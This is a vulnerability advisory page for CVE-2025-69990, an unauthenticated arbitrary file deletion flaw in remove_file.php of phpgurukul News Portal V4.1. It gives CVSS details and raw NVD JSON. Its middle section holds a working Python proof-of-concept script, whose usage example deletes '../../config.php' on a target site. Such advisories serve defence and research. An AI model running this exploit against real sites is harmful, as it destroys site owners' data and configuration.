Security Vulnerability Report
中文
CVE-2025-69990 CVSS 9.1 CRITICAL

CVE-2025-69990

Published: 2026-01-13 16:16:05
Last Modified: 2026-01-16 18:23:22

Description

phpgurukul News Portal Project V4.1 has an Arbitrary File Deletion Vulnerability in remove_file.php. The parameter file can cause any file to be deleted.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:news_portal:4.1:*:*:*:*:*:*:* - VULNERABLE
phpgurukul News Portal Project V4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69990 PoC - Arbitrary File Deletion in phpgurukul News Portal # Target: remove_file.php # Vulnerability: Insufficient validation of 'file' parameter def exploit(target_url, file_to_delete): """ Exploit arbitrary file deletion vulnerability Args: target_url: Base URL of the vulnerable application file_to_delete: Path to the file to delete (relative or absolute) Returns: bool: True if deletion request sent successfully """ # Construct the vulnerable endpoint endpoint = f"{target_url}/remove_file.php" # Prepare the malicious request # The 'file' parameter is vulnerable to path traversal and arbitrary file deletion params = { 'file': file_to_delete } print(f"[*] Target: {target_url}") print(f"[*] File to delete: {file_to_delete}") print(f"[*] Sending deletion request...") try: # Send GET request to trigger file deletion response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response Status: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-69990.py <target_url> <file_to_delete>") print("Example: python cve-2025-69990.py http://vulnerable-site.com ../../config.php") sys.exit(1) target_url = sys.argv[1].rstrip('/') file_to_delete = sys.argv[2] exploit(target_url, file_to_delete) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69990", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:16:04.767", "lastModified": "2026-01-16T18:23:21.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpgurukul News Portal Project V4.1 has an Arbitrary File Deletion Vulnerability in remove_file.php. The parameter file can cause any file to be deleted."}, {"lang": "es", "value": "Proyecto Portal de Noticias phpgurukul V4.1 tiene una vulnerabilidad de eliminación arbitraria de archivos en remove_file.php. El parámetro file puede causar que cualquier archivo sea eliminado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:news_portal:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "B8C7B550-9F9C-4CCE-A603-99006C7022C9"}]}]}], "references": [{"url": "https://github.com/Y4y17/CVE/blob/main/News%20Portal%20Project/File%20deletion%20vulnerability.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}